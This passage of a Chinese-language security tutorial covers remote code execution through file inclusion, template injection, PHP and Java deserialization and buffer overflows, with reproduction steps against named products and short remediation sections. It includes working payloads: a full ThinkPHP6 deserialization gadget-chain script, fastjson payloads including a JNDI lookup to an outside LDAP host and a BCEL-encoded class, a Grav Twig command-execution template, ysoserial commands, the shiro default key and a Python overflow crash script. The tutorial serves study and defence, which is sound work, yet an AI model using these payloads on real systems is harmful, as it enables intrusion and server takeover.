    然后换成了system.ini还是一些这样毫无顺序的乱码

    而实际利用在linux与windows是不同的,我们以案例中最简单的C来举例

    在进行一次编码后我们可以看到在robots.txt数据前生成了一个

$)C

    在进行两次编码后生成了两个字符

    这样我们就知道了最基础的原理,也就是编码后会在开头生成一个特定的字符,并且源文件不会丢失,那么如何去除这个$)呢?很简单,利用base64不支持其他符号的特性

    先decode然后encode回来

    convert.base64-decode|convert.base64-encode

    我们可以看到这样就只有C了

    再传一遍就是两个单纯的C

    通过不断的编码字符,然后一步步拼凑成我们需要的一句话格式

    最后使用include包含这个文件,不管后面的文件代码是什么,我们都可以执行我们想要的任意代码

    本地的测试环境:

Php版本为7.x虚拟机系统版本Linux ubuntu 5.15.0-56-generic #62~20.04.1-Ubuntu SMP Tue Nov 22 21:24:20 UTC 2022 x86_64 x86_64 x86_64 GNU/LinuxIconv 版本(如果不支持iconv编码的话就用不了这个trick)iconv (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31

    以下为全字符编码

2.4.4 PHP文件包含案例

    下载链接

https://foruda.gitee.com/attach_file/1677616483454915405/jizhicms_beta1.9.5.zip?token=a0c7e022726f10052383a7d4ff3122f7&ts=1706834096&attname=jizhicms_Beta1.9.5.zip

    访问/install目录进行安装


    利用过程

    前台注册账号

    注册完后提交一条留言

POST /message/index.html HTTP/1.1Host: localhostUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://10.2.101.24/admin.php/Index/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=2krod2hbsn95ka3b2hdpfreoh2;Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 79tid=999&user=maple&title=maple&tel=18511111111&email=jizhicms%40qq.com&body=maple

    然后上传一个头像,其中内容是<?php phpinfo();?>

    右键头像 复制文件地址即可得到路径

    进入后台

    基本设置->高级设置->是否留言自动审核 √

    模型列表->message->编辑

    更改详情模板为

    @../../static/upload/2024/02/02/202402021359.jpg

    审核该留言,并访问/message/details.html?id=1

    成功RCE

    代码审计:

    漏洞点入口为details,前面先是判断id是否存在且留言是否被审核,此时的$msg就是我们留言的信息。

    赋值后进入到display函数中

    传的参数就是我们的详情模板参数

    往下跟踪,在52行当中,把参数里的@替换为空,然后再用$this->template解析

    跟下去后发现还有template_html解析

    在参数前写入<?php if (!defined('CORE_PATH')) exit();?>,判断是否定义了CORE_PATH,如果没有定义就直接退出,后面就是我们传的图片中的内容phpinfo()

    进行包含

    正常如果直接访问该文件地址是无法显示的

    但此时的CORE_PATH是已经定义了的,所以可以直接进行包含RCE

2.4.5. JAVA文件包含方式

    Java代码也是利用include进行文件包含,可以看到成功的解析了test.jsp

    但不同于php,java的文件包含无法对.txt文件中的java代码进行解析,所有危害有限,一般作为任意文件读取或下载。但除非是被包含的jsp文件,正常方式无法访问到且其中存在危险函数,这时就可以利用文件包含打RCE了

2.4.6 JAVA文件包含案例

    这里选用CVE-2020-1938来作为案例

    官网下载

https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.94/bin/

    进入目录中双击startup.bat启动


    使用poc复现

    因为我是python3,所以需要做下小改动

    改动1 

    将print("".join([d.data for d in data]))  改成 print("".join([d.data.decode('utf-8') for d in data]))

    改动2  

    将self.stream = self.socket.makefile("rb", bufsize=0)

    改成self.stream = self.socket.makefile("rb", buffering=0)

    RCE需要

    将/asdf

    改成/asdf.jspx

    该漏洞RCE需要有一个文件,任意类型,这里选用txt,为了演示这里直接在ROOT目录下创建了一个,实战需要有上传点。

python3 CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f exec.txt

    成功RCE

    漏洞复现:

    官网下载源码

https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.94/src/apache-tomcat-7.0.94-src.tar.gz

    在server.xml中可以看到,tomcat默认会启动8009端口,使用AJP协议

   AJP(Apache JServ Protocol)协议是一种在Apache HTTP服务器和后端容器(如Tomcat)之间传输数据的协议。它是为了提高Web服务器与应用服务器通讯效率而设计的,特别适合用于传输HTTP请求的环境。AJP协议比HTTP协议更轻量级,因为它是二进制协议,而HTTP是基于文本的。这使得AJP在处理请求时能够更快,减少了网络传输的开销。 

   AJP的工作原理如下:客户端请求:用户的浏览器发送一个请求到Web服务器(Apache)。 

    Apache到Tomcat:如果配置了AJP协议,Apache服务器会将接收到的HTTP请求转换成AJP格式的请求,然后通过AJP协议将这个请求发送给后端的应用服务器(如Tomcat)。处理请求:应用服务器接收到AJP格式的请求后,就像处理普通HTTP请求一样处理它,并生成响应。 

    响应客户端:应用服务器将响应发送回Apache服务器,Apache服务器再将这个响应转发给客户端。 

    AJP协议主要使用了两个端口:AJP/1.3 通常使用端口8009,而AJP/1.2 使用端口8007。

    核心解析代码在AbstractAjpProcessor.java中,使用while来循环读取请求头消息(requestHeaderMessage),然后用getByte读取一个属性代码attributeCode。当他为Constants.SC_A_REQ_ATTRIBUTE,通过一系列的if-else if语句,根据属性名称n对特定属性进行处理,而这里对于其他属性,直接将属性名和值添加到请求的属性中 request.setAttribute(n, v );

    而在poc中,这里设置了三个属性值

javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path

    在conf/web.xml文件中我们可以看到请求回走默认的Default.Servlet

    跟进super.service

    然后进入doGet中

    再跟进serveREsource

    继续跟进getRelativePath,这三个参数就是对应的

javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path

    然后分析核心代码,RCE的方式,进入JspServlet类中的service,此时312中JspUri后加的就是我们传入的pathinfo,在poc中就是exec.txt

    然后代入serviceJspFile中解析

    跟进,被控参数jspUrl被封装成了JspServletWrapper,然后编译我们的exec.txt

    然后跟进service,最后用_jspService进行解析


2.4.7 修复/预防方案

    输入验证和过滤:对用户输入的文件路径进行严格的验证和过滤,确保只能访问到合法的文件路径。 

    限制访问权限:确保文件系统中敏感文件和目录的访问权限设置正确,只允许授权用户或者应用程序访问。 

    使用白名单:使用白名单来限制可以包含的文件或者目录,而不是黑名单。这样可以避免漏洞因为遗漏了某些特定的文件或者目录而被攻击。 

    禁用动态文件包含:如果可能的话,尽量避免使用动态文件包含功能,例如 PHP 中的 include 或 require。 

2.5 SSTI导致RCE

    在说ssti之前,先说下模板引擎,简单来说就是为了分离用户界面和业务数据的。运行逻辑是先获取用户的输入,经过渲染后呈现到用户面前。而SSTI就是服务端模板注入,当用户输入恶意数据后,未经过滤下就可能造成安全危害

而服务器端模板注入(Server-Side Template Injection,SSTI)是一种安全漏洞,允许攻击者通过向服务器端模板引擎提交恶意输入数据来注入并执行不安全的代码。这种攻击的成功依赖于服务器端模板引擎的配置和功能

2.5.1 PHP SSTI注入

    PHP

    使用composer安装php常见的模板twig

composer require "twig/twig:^3.0"

    写一个简单的demo,并打入payload,可以发现成功的RCE

    这里贴上ssti payload图表,来源于公网

2.5.2 PHP SSTI注入案例

    下载地址

https://getgrav.org/download/core/grav-admin/1.7.10

    该环境最少需要php7.3.6的版本,笔者环境更改为7.3.9

    访问主页进行安装

    后台页面

    进入到Pages模块,随便选一个进入,这里选择poc

    模板这里写poc

    {{['whoami']|map('system')|join}}

    然后点击expert模块,添加twig: true

    代码审计

    该RCE一共两步,第一步先Save模板,第二步preview进行解析,先来分析第一步,抓包

    进行debug,从入口点一步步分析

    从index.php中进进入process函数

    然后进入handle函数

    在handle函数中经过几次判断后,会在42行中获取到我们传的twig这个模板参数

    于是进入其中的process并进行twig的初始化

    经过中间的一些步骤,跳到了execute函数

    从这里进入taskSave函数


    进入handleRequest

    在250行的parseRequest解析我们的request方法和参数


    再回到taskSave函数中,进入753行的frontmatter和757的save函数中



    在685行中跟进replaceRows函数


    进入saveRow函数

    在451行继续跟进save函数

    357行看到了熟悉的file_put_contents函数,写入到default.md文件中


    然后分析解析流程

    点击preview进行抓包

    直接进入execute函数

    跟进taskProcessmarkdown,继续跟进1866行的content

    在跟进processTwig

    然后进入processPage函数,此时已经获取到了我们模板文件中的数据


    此时在302行进入render开始解析

    后面就是正常跟进,这里不做解释



    此时进入到doDisplay函数中,并调用twig_array_map

    最后进入twig_array_map函数中,成功RCE


2.5.3 JAVA SSTI注入

    JAVA

    Java有几个常用的模板,例如FreeMarker,Thymleaf, velocity,本篇文章使用freeMarker作为案例

    安装完后简单复现一下,可以发现成功RCE

2.5.4 JAVA SSTI注入案例

    这里直接用上面的freeMarker的例子,在FreemArkerServelet 14行下断点然后在Execute.class也下个断点,开始进行debug

    从doGet中,先跟进process

    然后进入Environment类中的process

    getRootTreeNode中获取了我们的poc参数

    进入visit,通过递归循环遍历每个元素


    获取之后到最后一个参数ex(“whoami”)后,进入element.accept

    跟进calculateInterpolatedStringOrMarkup

    进入eval

    跟进_eval,此时通过前面的解析,这时的argumentStrings已经是我们的命令whoami了

    然后传进exec,使用runtime类执行,至此流程结束

2.5.6 修复/预防方案

    验证和清理输入:对所有用户输入进行严格验证和清理,确保输入内容不包含可能会被模板引擎错误解释执行的代码或标记。 

    使用安全的模板引擎配置:许多模板引擎提供了防止SSTI的安全配置选项。确保模板引擎以最安全的方式配置,并禁用不必要的功能。 

    限制模板引擎功能:限制模板引擎可以访问的功能和API,尽量减少攻击者可利用的攻击面。例如,禁止模板直接访问文件系统或执行系统命令。

    使用沙箱环境:在可能的情况下,将模板引擎运行在沙箱环境中,以限制模板代码的执行权限,防止恶意代码访问或修改敏感资源。 

    内容安全策略(CSP):实施内容安全策略,限制可以执行的脚本类型和来源,降低潜在的攻击影响。 

    更新和打补丁:定期更新和给模板引擎及其依赖库打补丁,以修复已知的安全漏洞。 

2.6 反序列化导致RCE

    反序列化漏洞发生在当不安全地处理从不可信源接收的序列化数据时。序列化是将对象状态或数据结构转换为可以存储或传输的格式(如XML、JSON、二进制格式)的过程,而反序列化是将这种格式恢复为原始的对象状态或数据结构的过程。如果应用程序不安全地反序列化用户提供的数据,攻击者可能能够执行恶意代码或操作应用程序行为,导致数据泄露、服务拒绝、甚至完全控制受影响的服务器。

2.6.1 PHP反序列化

    PHP

    比如下面代码就是一个简单的序列化和反序列化的过程

    而当反序列化的目标类中存在敏感函数时,就很可能被利用,比如1.php是目标代码,2.php是本地代码进行利用

    序列化字符串的组成:

    O:7:"example": 这部分指明了被序列化的是一个对象(O)。7表示类名的字符数,"example"是类名。

    1: 表明对象有一个属性。这是属性计数,用来指明接下来会有多少个属性-值对。

    s:4:"test";: 这是属性名。s表示字符串,4是属性名"test"的长度。

    s:10:"phpinfo();";: 这是属性的值。s同样表示字符串,10是值"phpinfo();"的长度。

    而在php当中,关于序列化和反序列化的魔法函数有很多,魔术方法是一种特殊的方法,当对 对象执行某些操作时会覆盖 PHP 的默认操作。而PHP中最为常见也是最为基础的就是__construct和__destruct,其他魔术方法可自行搜索查询

    __construct 构造函数,具有构造函数的类会在每次创建新对象时先调用此方法

    __destruct 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

2.6.2 PHP反序列化进阶(PHAR)

    phar文件是PHP中的一种特殊文件格式,全称为PHP Archive,用于将多个PHP文件或其他类型的文件打包成一个单一的归档文件。

Phar 文件由以下四个结构组成

    1 a Stub

    这是Phar文件的启动器部分,是可执行的PHP代码,格式为 xxx<?php xxx;__HALT_COMPILER();?> (必须有__HALT_COMPILER() 否则是无法识别的)

    2 a manifest describing the contents

    文件的属性都在这里。此处是主要攻击点,因为meta-data的一些信息是以序列化的方式储存的。

    3 the file contents

    被压缩文件的内容,文件内容按照Manifest中列出的顺序存储。

    4 signature

    Phar文件的最后部分是可选的签名,用于验证归档的完整性和真实性。签名可以是SHA1或SHA256等算法生成的,确保Phar文件在分发过程中没有被篡改。

    生成phar文件需要将php.ini中的phar.readonly设置为Off

    以下是一个简单的案例

    使用这段代码创建一个test.phar文件


    使用is_file,可以看到成功的执行了phpinfo();

    根据公网资料显示,除以下所有文件函数外,只要调用了php_stream_open_wrapper的函数都可触发

2.6.3PHP反序列化案例

    PHP有很多开发框架例如ThinkPHP,Laravel等,这里选择thinkphp来做为案例

    ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简代码的同时,更注重易用性。遵循Apache2开源许可协议发布,意味着你可以免费使用ThinkPHP,甚至允许把你基于ThinkPHP开发的应用开源或商业产品发布/销售。 

    ThinkPHP6.0基于精简核心和统一用法两大原则在5.1的基础上对底层架构做了进一步的优化改进,并更加规范化。由于引入了一些新特性,ThinkPHP6.0运行环境要求PHP7.2+,不支持5.1的无缝升级(官方给出了升级指导用于项目的升级参考)。 

    首先安装thinkphp6,注意tp6之后只能使用composer安装



    我们在poc当中可以看到漏洞最终调用点

    找到该处,可以看到最后是在103行使用eval执行的

    漏洞复现:

    新建一个vul方法

    然后直接打入payload

    反序列化起始点,destruct函数,

    然后可以看到跟进了save函数

    其中在初始化的过程中传入了pool参数,


    $this->pool->getItem调用时,触发了魔术方法_call,因为Channel对象中没有getItem方法。此时也会执行构造方法

    其中call函数调用了log函数,然后又调用了record,f7跟进去看看执行了什么

    我们可以看到在104行调用了save,继续跟进来

    我们可以看到145中还调用了save函数,因为此时初始化的变量logger为think\log\driver\Socket,所以此时的save函数是去往Socket的类

    跟进来

    经过request类中的url函数解析后可以看到解析出来了我们的phpinfo

    其中前面加的http是在domain函数和scheme函数中获取的


    再跟进去invoke函数,可以看到传入了display

     然后跟进invokeMethod函数

    最后代入函数eval中解析php代码

    成功RCE

    最后的反序列化poc为

<?phpnamespace League\Flysystem\Cached\Storage{class Psr6Cache{private $pool;protected $autosave = false;public function __construct($exp){$this->pool = $exp;}}}namespace think\log{class Channel{protected $logger;protected $lazy = true;public function __construct($exp){$this->logger = $exp;$this->lazy = false;}}}namespace think{class Request{protected $url;public function __construct(){$this->url = '<?php phpinfo(); ?>';}}class App{protected $instances = [];public function __construct(){$this->instances = ['think\Request'=>new Request()];}}}namespace think\view\driver{class Php{}}namespace think\log\driver{class Socket{protected $config = [];protected $app;protected $clientArg = [];public function __construct(){$this->config = ['debug'=>true,'force_client_ids' => 1,'allow_client_ids' => '','format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法];$this->app = new \think\App();$this->clientArg = ['tabid'=>'1'];}}}namespace{$c = new think\log\driver\Socket();$b = new think\log\Channel($c);$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);echo urlencode(serialize($a));}

2.6.4 JAVA反序列化

    先进行一次简单的序列化和反序列化的过程,如下,OBjectOutputStream中writeObject是进行序列化的过程,而readObject是进行反序列化的过程。并且从写入到object.dat文件当中可知,java序列化的数据不是纯文本格式不可读。

    Java进行反序列化RCE只用本身的代码较麻烦,这里使用一个通用简单的来演示,因为java需要安装依赖才能继续,所以先把大部分项目必备的依赖安装了

commons-beanutils-1.9.4.jar(https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.ja)commons-collections-3.1.jar(https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar)commons-logging-1.1.3.jar(https://repo1.maven.org/maven2/commons-logging/commons-logging/1.1.3/commons-logging-1.1.3.jar)

    java生成payload的工具

ysoserial.jar(https://github.com/frohoff/ysoserial)

    将依赖都放在项目目录下,并add to library

    使用命令生成 payload

java -jar "ysoserial-all.jar" CommonsBeanutils1 "calc.exe" > 1.ser

    访问index.jsp,可以看出成功弹出计算器,rce成功


2.6.5 JAVA反序列化案例

    为了能够将对象存储起来以便在文件中存储或者在网络上传输,JAVA提供了序列化机制。在序列化的过程中,会将对象以及对象的属性存储起来。反序列化则会创建对象并给对应的属性赋值。

    并不是所有的对象或者属性都可以被序列化,只有实现了Serializable的类创建的对象可以被序列化,而且static静态变量和transient 修饰的字段也不会被序列化。因为static静态变量是和类相关的,序列化主要针对的是对象和对象的属性传递,因此不会被序列化。而transient 修饰字段是因为有一些敏感的内容比如密码不方便保存在文件或者在网络中传输,使用transient 修饰则可以避免此问题。

    JAVA原生序列化机制主要有两个函数实现,readObject和writeObject。调用writeObject可实现对象的序列化操作,readObject则与之相反。在readObject构造对象的过程中,会调用一些魔术方法,比如反序列化HashMap中会调用map.put方法来构造对象,而在put的过程中为了检测key是否相同,也会自动去调用equals方法。我们可以通过构造一个恶意对象并提供特定的属性值来控制反序列化的流程,来实现RCE或者其他目的。这种通过控制反序列化过程来实现某种利用的调用过程也叫做反序列化链。

原生反序列化

    常见的反序列化链有CommonsCollections、CommonsBeanutils、C3P0、FastJson、Jackson等等,下面我以最常用的CommonsBeanutils为例讲讲反序列化链的原理。

    首先先带大家分析下JAVA反序列化漏洞中一个重要的sink TemplatesImpl。在该类的defineTransletClasses方法中,会从_bytecodes属性中获取字节数组并通过defineClass加载类,并且在getTransletInstance中通过newInstance创建对象,创建对象的过程中会调用静态代码块和构造方法,因此如果能控制_bytecodes属性的内容就可以实现任意代码执行。


    在TemplatesImpl中自定义了readObject方法,会从序列化内容中获取_bytecodes属性并赋值。

    解决了_bytecodes的赋值问题还要解决如何调用到getTransletInstance的问题,因为getTransletInstance为private修饰的方法,不能直接调用,因此要在当前Class中寻找getTransletInstance的调用。在newTransformer中找到了getTransletInstance的调用且该方法为public修饰的。

    理论上来讲只要能控制反序列化的流程走到newTransformer即可完成利用,但是很难在一些库中找到直接调用newTransformer的操作,因此继续寻找newTransformer的调用找到getOutputProperties方法,该方法也为public修饰并且以get开头且参数为空,并且也存在_outputProperties属性,因此getOutputProperties是一个getter方法。所以只要能控制反序列化流程执行到getter方法,即可完成利用。

    BeanComparator是Commons-Beanutils提供的一个JAVA Bean的比较器,其作用就是对JAVA Bean中的某个属性进行排序或比较,比较操作通过compare方法实现,通过下面代码可以看出,compare会先根据this.property属性中的参数调用PropertyUtils#getProperty获取属性值后再进一步比较。getProperty会根据this.property作为属性名调用getter方法获取对象。因此此处如果传入的o1对象为构造好的TemplatesImpl对象,this.property为outputProperties,在调用getProperty方法时就会触发任意代码执行。

    下面需要控制反序列化的流程到BeanComparator.compare中,JAVA中PriorityQueue一种队列数据结构实现,其中根据优先级处理对象。在其进行反序列化时需要恢复队列,而恢复队列时需要根据比较器来对队列中的数据进行排序。

  下面我们来分析PriorityQueue的反序列化过程,首先读取一个int值并作为数组的大小,再根据大小构建一个队列,最后通过heapify来排序。

    在heapify中,调用siftDown将数据插入队列中,siftDown中判断比较器是否为空,不为空则调用siftDownUsingComparator进行排序。



   在siftDownUsingComparator中根据比较器调用compare方法比较后插入队列中。comparator作为一个属性值并且没有transient修饰,因此是可控的。我们只要在构建PriorityQueue时传入BeanCompare作为比较器,同时比较的对象为TemplatesImpl对象,即可在反序列化时触发TemplatesImpl#getOutputProperties实现RCE。

    最后再看看ysoserial中的CommonsBeanUtils利用链是不是就比较容易理解了。

shiro反序列化

    shiro是一款用来进行权限认证和权限管理的框架,可以帮我们完成认证、授权、加密、会话管理、与Web集成、缓存等功能。shiro在实现记住我功能时会将用户的身份信息principals序列化后通过AES加密后存储在cookies中的rememberMe字段中,在请求时,会检测cookies中是否存在rememberMe字段,存在则AES解密后再通过readObject反序列化后得到principals对象。这本身并没有什么问题,但是在shiro的低版本中如果用户没有设置AES加密的key,shiro会提供一个默认的key。有了AES key后我们就可以自己构造恶意对象并通过AES加密后通过cookie的rememberMe字段发送给目标,利用该反序列化漏洞。值得注意的是,有很多程序是在使用shiro的开源程序上二开的,并且没有修改开源程序shiro AES key,我们也可以利用该key攻击二开的应用。网上有人总结了常见的shiro key,实际利用时可以通过key字典爆破shiro key。

    shiro的漏洞核心代码在 AbstractRememberMeManager#convertBytesToPrincipals中,通过decrypt解密rememberMe字段中的内容,再通过deserialize反序列化。

    decrypt中通过getDecryptionCipherKey获取解密key后解密。

    通过下面代码可以看到shiro默认使用的key为kPH+bIxk5D2deZiIxcaaaA==,而且默认的cipherService为AesCipherService。默认的serializer为DefaultSerializer。


    继续看deserialize方法获取serializer也就是DefaultSerializer,调用DefaultSerializer

#deserialize方法,调用原生的java反序列化。


    漏洞修复:

    在shiro高版本中不再使用默认密钥,用户没有配置密钥则会随机生成密钥,也就是说shiro并没有修复反序列化本身,而是通过增加密钥的随机性来防御漏洞。在实战中如果能通过heapdump等手段从内存中获取shiro key或者从源码中得到用户自定义的shiro key仍然能利用反序列化RCE。

Fastjson反序列化漏洞

    Fastjson是一款常用的国产JSON解析组件,其在github上已经获取了25.6k star,在很多代码中都有引用。Fastjson可以把对象通过JSON#toJSONString序列化为JSON格式的String。也可以通过JSON#parseObject将string反序列化为对象。

    但是这样有一个问题,在JSON序列化的string中是看不到User的类型信息的,那样在反序列化的时就仅仅根据JSON string是不知道对象类型的,也就无法反序列化出正确的对象。因此fastjson在序列化是提供了SerializerFeature.WriteClassName属性,可以将对象类型序列化到json字符串中。通过@type字段来表示对象的类型信息。

    在fastjson 1.2.24之前,fastjson在反序列化时不会限制要反序列化的类型,因此我们可以通过构造@type字段来让fastjson反序列化任意Class,并且在反序列化对象时会调用Class的setter方法设置对象的属性,这给了我们漏洞利用的空间。

JdbcRowSetImpl

    JdbcRowSetImpl是一个非常经典的setter利用链,通过该链可以触发JNDI漏洞实现RCE。

   首先还是看漏洞的sink,在com.sun.rowset.JdbcRowSetImpl#connect方法中,漏洞点在InitialContext#lookup,后面我们学了JNDI会知道,这是个非常明显的JNDI漏洞sink点,能控制lookup的参数就可以向恶意服务器发起ldap请求触发RCE。

    所以下面要解决两个问题,dataSource属性能否控制、如何通过setter方法调用到connect。由于dataSource存在setter方法,而fastjson在反序列化时会调用setter方法给属性赋值,因此dataSource属性可控。

    在setAutoCommit中调用了connect方法,所以可以通过设置autoCommit字段触发setAutoCommit利用。

    Poc如下:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.93.1:9999/a","autoCommit":true}

    在fastjson中除了可以触发setter方法实现RCE,在某些特定的场景下也可以触发getter方法实现RCE。比如当构建的json key是一个JSONObject对象,则在执行反序列化过程中会调用JSONObject.toString()方法,该方法调用会触发getter操作,因此fastjson反序列化也可以通过触发getter方法实现RCE。


    下面带大家分析一个getter利用链BasicDataSource,首先看漏洞的sink,Class.forName中,driverClassName和driverClassLoader均为用户可控,且存在setter方法,因此可以通过控制driverClassLoader为bcelClassLoader,而driverClassName为bcel编码的class类,在执行class.forName的过程中加载该类并初始化,会调用其static静态方法,因此可以在bcel class的静态代码块中写入恶意代码实现任意代码执行。


    继续分析如何触发到createConnectionFactory,经过分析只要能触发到getConnection方法即可触发漏洞,在JSONObject#toString的过程中会调用所有的getter方法,因此可以通过getConnection触发RCE。

    漏洞POC如下:

{{"@type":"com.alibaba.fastjson.JSONObject",'a':{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource",'driverClassLoader':{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},'driverClassName':'$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$92$cdN$c2$40$Q$c7$ff$8b$z$c5ZAQ$f1$5bQ$_$c8A$S$af$g$_$7e$q$u$ea$B$c2$d1d$v$ab$UK$db$y$8b$f1$R$7c$T$cf$5e$d4x$f0$B$7c$u$e3$ec$8a$Y$_n$d2$99$ee$7fv$7e3$9d$ed$c7$e7$db$3b$80$5dl$ba$c8$60$de$86Y3$P$$$W$b0$e8$60$c9$85$8de$H$x$OV$Z$d2$fbA$U$a8$D$86$b1$d2v$93$c1$3a$8c$db$82$nW$L$oq1$e8$b5$84l$f0VHJ$be$W$fb$3clr$Z$e8$fdP$b4T$t$e83L$d4$ea$a1$Q$c9$91$e8$c5$7b$M$99$7d$3f$i2$Z$9d$v$d6$ba$fc$8eWB$k$ddT$aa$91$SR$O$S$r$da$c7$f7$beHT$QG$941YW$dc$bf$3d$e7$89$c1R$87$Mn$3d$kH_$9c$E$ba$cc$d6$I$bf$a3Y$c5k$Z$f7$8a$d5$u$Z$u$j$bflu$85$af$3c$8c$c3u$b0$e6a$jE$86$b5$ff$8bz$d8$80$cb0$3e$C3L$fdf$7c$T$ffH$8d$8e$U$bc$cd$60$f7u$G$7dy$e9T$8f$x$97$c8$mR$a6$fd$86$e4$be$m$acC3$d7$x$F$a6$5b$o$3bA$bb$KyF$de$$$bf$80$3d$99$b0G6mD$9a$AY$ef$fb$A$b2$c8$91$cf$60j$94$7ce$60$40n$W$a9WX$8f$c8$9c$95$9f$91$7e2b$9a$aa$d8$Y3$b8$C$f4e$5b$a49Fu$e9$zK$a8$l$bcK$b1i$e4$f5$df$40$8f$83T$d5$c1$acE$819$d3Q$e1$L$xnB$m$3a$C$A$A'}}:'b'}

2.6.6 修复/预防方案

    尽量用高版本JDK,因为禁了 RMI Codebase / TemplatesImpl (JDK17) 等危险的类

    使用白名单机制限制可反序列化的类和对象类型,只允许已知、受信任的类进行反序列化。确保白名单列表具有最小化的权限,即只包含必需的类和对象。 

    重写ObjectInputStream的resolveClass方法对即将序列化的对象进行校验(在反序列化之前进行)

2.7 缓冲区溢出导致RCE

2.7.1 缓冲区溢出基础方式

    缓冲区溢出漏洞是一个历史非常悠久的漏洞种类,1988年由康奈尔大学学生罗伯特·泰潘·莫里斯所编写的莫里斯蠕虫,其中就利用了多个缓冲区漏洞来帮助自身感染和传播。

    缓冲区溢出漏洞本质上是因为程序没有对用户的输入进行合理的校验,导致了超过缓冲区长度的数据被拷贝至内存,从而影响了程序本身的正常运行。

    时至今日,该漏洞已经远不如以前常见了,一方面是各类高级编程语言的兴起,使得开发者不必手动管理内存,也就不会出现设计失误导致的溢出漏洞;另一方面则是操作系统从底层不断添加了各种缓解措施,例如Windows上的DEP、CFG、ASLR等,Linux上的Stack canaryNo eXecute、PIE等,使得漏洞完整利用越来越难。

   本章我们就以Windows x86上最基本的缓冲区溢出为例,带大家体验一下Binary Exploitation的魅力。

    我们先来看一段代码:

    很明显,这是一段存在缓冲区溢出漏洞的代码,当我们输入的参数在大于64个字符时,就会发生缓冲区溢出。

    下图则是当我们输入不同长度字符,导致这个应用程序正常或异常时,内存堆栈的状态:

    输入字符过长,就会覆盖其他的内存空间,对于x86程序,EIP寄存器所指向的就是下一条指令对应的内存地址,所以最基础的缓冲区溢出利用就需要控制EIP的值,然后使其指向我们的shellcode以获取shell.

2.7.2 缓冲区溢出RCE案例

    下面我们来看一个案例:Sync Breeze Enterprise 10.0.28远程缓冲区溢出漏洞,漏洞的EXP可以在这里找到:https://www.exploit-db.com/exploits/42928,我们再给出一个Crash PoC

#!/usr/bin/pythonimport socketimport sys
try: server = sys.argv[1] port = 80 size = 5000 inputBuffer = b"A" * size content = b"username=" + inputBuffer + b"&password=A"
buffer = b"POST /login HTTP/1.1\r\n" buffer += b"Host: " + server.encode() + b"\r\n" buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += b"Accept-Language: en-US,en;q=0.5\r\n" buffer += b"Referer: http://10.11.0.22/login\r\n" buffer += b"Connection: close\r\n" buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" buffer += b"\r\n" buffer += content
print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buffer) s.close()
print("Done!")
except socket.error: print("Could not connect!")

    对于基础的缓冲区漏洞利用,我们分为以下5步进行:

1.获取偏移量

2.存入shellcode 

3.去除坏字符

4.执行流程重定向

5.获得反向shell

    1 获取偏移量

    当我们有了一个基础的Crash PoC时,执行后能够看到EIP被我们发送的值覆盖:

    这代表我们能够控制EIP的值,但要想更加精确地操纵,就得计算出具体哪一段的字符覆盖了EIP,即计算偏移量。

    一个很方便的工具是msf的pattern_create.rb脚本,可以用它生成不重复的字符串,以用来定位。

msf-pattern_create -l 800

    将其生成的结果替换掉脚本中发送的Payload,运行后可以看到:

    eip=42306142,转换一下得到:b0Ab,可以手动定位到它在字符串的33-36位。

    也可以利用msf-pattern_offset来帮你完成这项工作:

msf-pattern_offset -l 800 -q 42306142

    现在我们知道了偏移量为780。

    2 存入shellcode

    下一步我们要将shellcode存入缓冲区,先确认下是否有足够的空间来存放。

    可以发现,当触发崩溃时,esp中的地址为01d3745c,指向的内容是被我们的C(\x43)字符覆盖的:

    那么现在我们增大输入数据的总长度,重新测试:

    filler = b"A" * 780

    eip = b"B" * 4

    buf = b"C" * 4

    shellcode = b"D" * (1500 - 788)

    inputBuffer = filler + eip + buf + shellcode

    Shellcode一般不会超过400字节,这里的缓冲区是足够大的。

    但还有一个问题,我们不能直接用现在ESP的值来定位shellcode,因为ESP的地址会经常发生变化。

    如何解决该问题,我们留在后面讨论。

    3 去除坏字符

    坏字符会破坏原本的shellcode功能,例如空字节(0x00),会被C/C++认为是字符串的结尾,那么就会截断缓冲区。

    在这个案例中,我们还应该避免0x0D,因为它会被认为是HTTP请求字段的结尾,导致发生截断。

    一种寻找坏字符的方法是,发送所有可能的字符,观察应用程序崩溃后对这些字符的反应,造成截断的就是坏字符:

    filler = b"A" * 780

    eip = b"B" * 4

    offset = b"C" * 4

    badchars = (

        b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"

        b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

